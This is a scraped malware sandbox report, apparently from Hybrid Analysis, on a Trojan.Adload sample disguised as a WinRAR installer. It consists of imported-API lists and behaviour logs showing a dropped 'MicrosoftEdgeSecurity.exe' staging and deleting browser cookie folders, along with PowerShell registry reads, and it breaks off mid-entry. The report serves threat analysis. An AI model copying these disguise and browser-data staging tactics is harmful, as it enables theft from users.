21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 70:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T489,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Adload Sample 0d7abf4cfeab… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0d7abf4cfeab…. Malware family: Trojan.Adload. Threat score 100/100. 3/26 AV engines flagged this file. 19 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","keywords":["Malicious","Trojan.Adload","malware analysis","sandbox report","threat intelligence","0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616"],"about":{"@type":"SoftwareApplication","name":"winrarx64-setup.exe","applicationCategory":["compressed","7zip"],"identifier":"0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Adload","antivirusDetections":{"malicious":3,"total":26},"behavioralIndicators":{"malicious":19,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T623d,Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "MulDiv"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "InternetOpenW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessAffinityMask"; Source: "sample.bin"), Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "sample.bin"), Found reference to API (Indicator: "CopySid"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocaleInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetNumberFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CreateSemaphoreW"; Source: "sample.bin"), Found reference to API (Indicator: "FlushFileBuffers"; Source: "sample.bin"), Found reference to API (Indicator: "FreeSid"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadExecutionState"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowEnabled"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWindowExW"; Source: "sample.bin"), Found reference to API (Indicator: "DefWindowProcW"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteKeyW"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "sample.bin"), Found reference to API (Indicator: "SetEndOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryW"; Source: "sample.bin"), Found reference to API (Indicator: "IsWow64Process2"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileSize"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringEx"; Source: "sample.bin"), Found reference to API (Indicator: "TranslateMessage"; Source: "sample.bin"), Found reference to API (Indicator: "InternetSetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "HttpSendRequestExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "sample.bin"), Found reference to API (Indicator: "SystemParametersInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "sample.bin"), Found reference to API (Indicator: "ShellExecuteExW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleA"; Source: "sample.bin"), Found reference to API (Indicator: "FtpCommandW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWellKnownSid"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "SetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowTextLengthW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "DeviceIoControl"; Source: "sample.bin"), Found reference to API (Indicator: "IsTextUnicode"; Source: "sample.bin"), Found reference to API (Indicator: "CopyImage"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "HttpSendRequestW"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcatW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyIcon"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextW"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetFolderPathW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "RedrawWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SetClipboardData"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteDC"; Source: "sample.bin"), Found reference to API (Indicator: "HeapFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "VerQueryValueW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeSListHead"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "TlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumValueW"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowVisible"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleMode"; Source: "sample.bin"), Found reference to API (Indicator: "CreateHardLinkW"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileW"; Source: "sample.bin"), Found reference to API (Indicator: "InternetGetLastResponseInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "HttpQueryInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessHeap"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "FlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextExA"; Source: "sample.bin"), Found reference to API (Indicator: "wsprintfA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CryptUnprotectMemory"; Source: "sample.bin"), Found reference to API (Indicator: "CheckTokenMembership"; Source: "sample.bin"), Found reference to API (Indicator: "GetParent"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "wsprintfW"; Source: "sample.bin"), Found reference to API (Indicator: "EncodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathW"; Source: "sample.bin"), Found reference to API (Indicator: "EnableMenuItem"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByteEx"; Source: "sample.bin"), Found reference to API (Indicator: "FreeConsole"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "CompareFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "LoadCursorW"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "UnmapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "SetDefaultDllDirectories"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleExW"; Source: "sample.bin"), Found reference to API (Indicator: "HttpEndRequestW"; Source: "sample.bin"), Found reference to API (Indicator: "CloseClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindow"; Source: "sample.bin"), Found reference to API (Indicator: "LocaleNameToLCID"; Source: "sample.bin"), Found reference to API (Indicator: "InternetCloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "GetObjectW"; Source: "sample.bin"), Found reference to API (Indicator: "RegisterClassW"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "UpdateWindow"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualQuery"; Source: "sample.bin"), Found reference to API (Indicator: "AttachConsole"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "InternetReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "AreFileApisANSI"; Source: "sample.bin"), Found reference to API (Indicator: "AppendMenuW"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenA"; Source: "sample.bin"), Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleDC"; Source: "sample.bin"), Found reference to API (Indicator: "SHFileOperationW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "CoTaskMemFree"; Source: "sample.bin"), Found reference to API (Indicator: "MapWindowPoints"; Source: "sample.bin"), Found reference to API (Indicator: "GetDiskFreeSpaceExW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFocus"; Source: "sample.bin"), Found reference to API (Indicator: "InternetQueryOptionW"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IIDFromString"; Source: "sample.bin"), Found reference to API (Indicator: "GetSysColor"; Source: "sample.bin"), Found reference to API (Indicator: "StretchBlt"; Source: "sample.bin"), Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "sample.bin"), Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMenu"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SelectObject"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidCodePage"; Source: "sample.bin"), Found reference to API (Indicator: "InvalidateRect"; Source: "sample.bin"), Found reference to API (Indicator: "GetTimeFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateThread"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpW"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "PeekNamedPipe"; Source: "sample.bin"), Found reference to API (Indicator: "SleepEx"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "OleInitialize"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetMalloc"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSize"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowTextW"; Source: "sample.bin"), Found reference to API (Indicator: "CharUpperW"; Source: "sample.bin"), Found reference to API (Indicator: "WritePrivateProfileStringW"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalMemoryStatusEx"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileMappingW"; Source: "sample.bin"), Found reference to API (Indicator: "MapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "SetEntriesInAclW"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileType"; Source: "sample.bin"), Found reference to API (Indicator: "InternetErrorDlg"; Source: "sample.bin"), Found reference to API (Indicator: "InternetWriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetLongPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCPInfo"; Source: "sample.bin"), Found reference to API (Indicator: "LoadImageW"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "FtpOpenFileW"; Source: "sample.bin"), Found reference to API (Indicator: "IsDebuggerPresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetClientRect"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExW"; Source: "sample.bin"), Found reference to API (Indicator: "CopyFileW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "HttpOpenRequestW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "PostQuitMessage"; Source: "sample.bin"), Found reference to API (Indicator: "LoadIconW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "BeginPaint"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteValueW"; Source: "sample.bin"), Found reference to API (Indicator: "FoldStringW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "sample.bin"), Found reference to API (Indicator: "CharPrevW"; Source: "sample.bin"), Found reference to API (Indicator: "SetCursor"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadPriority"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpiA"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpiW"; Source: "sample.bin"), Found reference to API (Indicator: "FillRect"; Source: "sample.bin"), Found reference to API (Indicator: "GetDeviceCaps"; Source: "sample.bin"), Found reference to API (Indicator: "GetFullPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "sample.bin"), Found reference to API (Indicator: "SetDllDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcpynW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextW"; Source: "sample.bin"), Found reference to API (Indicator: "OleUninitialize"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseSemaphore"; Source: "sample.bin"), Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "sample.bin"), Found reference to API (Indicator: "TlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FtpCreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExW"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "EmptyClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SetErrorMode"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventW"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetFileInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "InternetConnectW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "FtpGetFileSize"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "SearchPathW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineW"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadStringW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "RtlCaptureContext"; Source: "sample.bin"), Found reference to API (Indicator: "CopyRect"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetOEMCP"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "SetTimer"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "CreateStreamOnHGlobal"; Source: "sample.bin"), Found reference to API (Indicator: "TrackPopupMenu"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringW"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileW"; Source: "sample.bin"), Found reference to API (Indicator: "CreatePipe"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointerEx"; Source: "sample.bin"), Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "sample.bin"), Found reference to API (Indicator: "ExitWindowsEx"; Source: "sample.bin"), Found reference to API (Indicator: "InternetCrackUrlW"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcpyA"; Source: "sample.bin"), Found reference to API (Indicator: "WriteConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumKeyW"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcpyW"; Source: "sample.bin"), Found reference to API (Indicator: "CryptProtectMemory"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileSecurityW"; Source: "sample.bin"), Found reference to API (Indicator: "CLSIDFromString"; Source: "sample.bin"), Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "sample.bin"), Found reference to API (Indicator: "SetUserObjectInformationW"; Source: "sample.bin"), Found reference to API (Indicator: "InternetSetOptionW"; Source: "sample.bin"), Found reference to API (Indicator: "ScreenToClient"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "AllocConsole"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "sample.bin"), Found reference to API (Indicator: "GetDateFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFontIndirectW"; Source: "sample.bin"), Found reference to API (Indicator: "HttpAddRequestHeadersA"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "HeapReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "sample.bin"), Found reference to API (Indicator: "HttpAddRequestHeadersW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeW"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "CreatePopupMenu"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "sample.bin"), Found reference to API (Indicator: "OpenClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "KillTimer"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceW"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetKnownFolderPath"; Source: "sample.bin")23:T511,"winrarx64-setup.exe" called "RemoveDirectoryW" with parameter %TEMP%\nso98E5.tmp\ (UID: 00000000-00007012) "MicrosoftEdgeSecurity.exe" called "RemoveDirectoryA" with parameter %TEMP%\8250790ABB6552085A14E9AACD5F9C89_Firefox (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "RemoveDirectoryA" with parameter %TEMP%\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\cookies (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "RemoveDirectoryA" with parameter %TEMP%\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "RemoveDirectoryA" with parameter %TEMP%\8250790ABB6552085A14E9AACD5F9C89_Chrome (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "RemoveDirectoryA" with parameter %TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "RemoveDirectoryA" with parameter %TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "RemoveDirectoryA" with parameter %TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "RemoveDirectoryA" with parameter %TEMP%\8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware (UID: 00000000-00006508)24:T73f,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\STRONGNAME") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\NET FRAMEWORK SETUP\NDP\V4\FULL") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\NET FRAMEWORK SETUP\NDP\V4\FULL") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.MICROSOFT.POWERSHELL.CONSOLEHOST__31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.MICROSOFT.POWERSHELL.CONSOLEHOST__31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER")25:Ta49,"winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-539907497 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-539916592 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-540099178 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-540106728 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-540264012 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-540272269 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-577101638 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-577109463 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-577343771 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-577351736 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-580822504 [PID: 7012] "winrarx64-setup.exe" queried SystemProcessInformation at 00000000-00007012-00000C15-580830646 [PID: 7012] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-541132803 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-541142264 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-541310464 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-541318982 [PID: 7200] "powershell.exe" queried SystemProcessInformation at 00000000-00007200-00000C15-542729120 [PID: 7200] "powershell.exe" queried 